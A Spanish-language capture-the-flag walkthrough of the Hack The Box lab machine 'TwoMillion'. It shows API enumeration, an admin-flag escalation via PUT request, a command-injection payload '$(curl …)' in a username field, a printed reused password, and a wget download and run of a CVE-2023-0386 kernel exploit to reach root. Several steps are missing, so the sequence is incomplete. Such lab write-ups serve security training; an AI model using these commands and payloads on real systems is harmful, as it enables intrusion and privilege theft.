$ sudo nmap -sT -Pn -p- 10.129.229.66 # Encontramos 22,80$ sudo nmap -sT -Pn -p22,80 -sVC 10.129.229.66 # Indica "Did not follow redirect to http://2million.htb/", lo añadimos a /etc/hosts$ sudo nmap -sT -Pn -p22,80 -sVC 2million.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)80/tcp open http nginx
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Nada en UDP
22/tcp (OpenSSH 8.9p1): Algunos CVE recientes, pero no relevantes (difícilmente explotables).
80/tcp (Nginx, versión desconocida): Servidor HTTP. Tiene la cookie PHPSESSID con HttpOnly desactivado, así que si hay XSS podríamos robar una sesión.
Es la página de presentación de HackTheBox del 17 de septiembre de 2017. Aquí encontramos dos botones que funcionan:
[ login ], que lleva hacia /login
[ Join HTB ], que lleva hacia /invite.
Si vamos a /login, encontraremos un panel de inicio de sesión.
En el código fuente de esta página, veremos que cuando pulsamos en Login para iniciar sesión, se realiza una solicitud hacia /api/v1/user/login. Partiendo de esto podríamos enumerar más endpoints.
Por otro lado, en la página /invite, encontramos esto.
Un panel en el que tenemos que introducir un código de invitación, que originalmente se nos proporcionaría al resolver un reto. Una vez lo tuviésemos, pulsaríamos Sign Up. Si miramos qué pasa cuando pulsamos:
Una vez dentro, encontramos el panel de control de HTB en /home.
Desde aquí podemos ir a Dashboard (que contiene info de máquinas, miembros, etc.), a Rules, que contiene las reglas, y a Change Log, que contiene cambios y reportes y arreglos de bugs, con el registro más reciente del 5 de sept. de 2017, 12 días antes del momento en el que se encuentra la máquina, así que cualquier bug mencionado posiblemente ya esté arreglado.
Al resto de botones no podemos darle, salvo a uno, Access.
Ahí podemos descargarnos el archivo de config. de OpenVPN desde Regenerate, que nos lleva a /api/v1/user/vpn/regenerate. Desde el archivo [usuario].ovpn encontramos lo siguiente:
Antes habíamos encontrado un directorio con API Endpoints: http://2million.htb/api/v1/user/, pero qué pasa si en lugar de buscar user buscamos algo como admin?
No encontramos nada más. Ahora bien, si nos fijamos en las solicitudes hechas a la página desde el inicio en BurpSuite, encontramos que algunas tienen la forma /api/v1/user/vpn/[endpoint], y no están directamente en /api/v1/user/. Con admin podría estar pasando lo mismo.
No podemos hacer fuerza bruta para encontrar directorio porque el número de intentos crece de forma cuadrática con el tamaño del wordlist. Tenemos que encontrar algún modo de conseguir una lista de endpoints.
Si probamos a solicitar a /api, encontramos esto:
1
2
3
4
$ curl http://2million.htb/api -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" | jq
{"/api/v1": "Version 1 of the API"}
curl http://2million.htb/api/v1 -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" | jq
{"v1": {"user": {"GET": {"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"},
"POST": {"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"}},
"admin": {"GET": {"/api/v1/admin/auth": "Check if user is admin"},
"POST": {"/api/v1/admin/vpn/generate": "Generate VPN for specific user"},
"PUT": {"/api/v1/admin/settings/update": "Update user settings"}}}}
Y ahí hemos encontrado 2 endpoints en admin. El más relevante parece /api/v1/admin/settings/update, que permite actualizar ajustes de usuarios. Primero probamos a ver si somos admin:
curl http://2million.htb/api/v1/admin/settings/update -X PUT -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" -H "Content-Type: application/json" -d '{"email":"user@name.com","is_admin":true}'{"status":"danger","message":"Variable is_admin needs to be either 0 or 1."}
Ahora somos administradores, pero en el dashboard no ha cambiado nada y seguimos sin poder hacer nada más allá de crear archivos .ovpn. Dicho esto, llama la atención un endpoint de los que habíamos visto antes.
1
2
3
"POST": {"/api/v1/admin/vpn/generate": "Generate VPN for specific user"}
Esto nos permite crear (siendo administradores) un archivo .ovpn para cualquier usuario, de la siguiente manera:
1
2
3
4
5
6
7
8
9
$ curl http://2million.htb/api/v1/admin/vpn/generate -X POST -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" -H "Content-Type: application/json" -d '{"username":"test"}'client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337resolv-retry infinite
nobind
persist-key
... # El resto del OVPN
La cosa es que posiblemente esto se esté ejecutando en un shell como algún tipo de script de bash. Si probamos a mandar algo “diferente” como username:
1
2
$ curl http://2million.htb/api/v1/admin/vpn/generate -X POST -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" -H "Content-Type: application/json" -d '{"username":"$(curl 10.10.16.82)"}'# No recibimos nada.
Y tenemos 3 hashes bcrypt. Uno de ellos pertenece a nuestra cuenta, los otros dos son de otros administradores, así que pueden resultar útiles. Si intentamos crackearlos con hashcat, veremos que no da resultado, no obtendremos nada, así que probamos por otro lado.
Si vamos a /home:
1
2
www-data@2million:/home$ ls
admin
Existe el usuario admin y el username de la db era admin. Probamos a ver si se han reutilizado credenciales.
1
2
3
4
5
6
www-data@2million:/home$ su admin
Password: #SuperDuperPass123To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root"for details.
admin@2million:/home$
Y en el servidor abrimos dos terminales, en una ejecutamos esto:
1
2
3
4
5
admin@2million:/tmp$ wget 10.10.16.82:8000/cve.zip # Descargamos todoadmin@2million:/tmp$ unzip cve.zip # Lo descomprimimosadmin@2million:/tmp/CVE-2023-0386$ cd CVE-2023-0386/
admin@2million:/tmp/CVE-2023-0386$ make all # Compilamos el exploitadmin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc # Ejecutamos una parte
En la otra ejecutamos el resto del exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
admin@2million:/tmp/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
total 8drwxrwxr-x 1 root root 4096 Jun 18 23:46 .
drwxrwxr-x 6 root root 4096 Jun 18 23:46 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 11970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root"for details.
root@2million:/tmp/CVE-2023-0386# sudo whoami
root
OS: Linux | Dificultad: Easy | Conceptos: Versión de Yii Framework expuesta, CVE en CraftCMS, Credencial de MariaDB crackeada, Reutilización de contraseñas, Vulnerabilidad en Telnet
OS: Linux | Dificultad: Easy | Conceptos: Command Injection en daemon LPD, Servicio JetDirect/PJL con path traversal, Creación de claves SSH, Paso de file descriptors a través de socket Unix.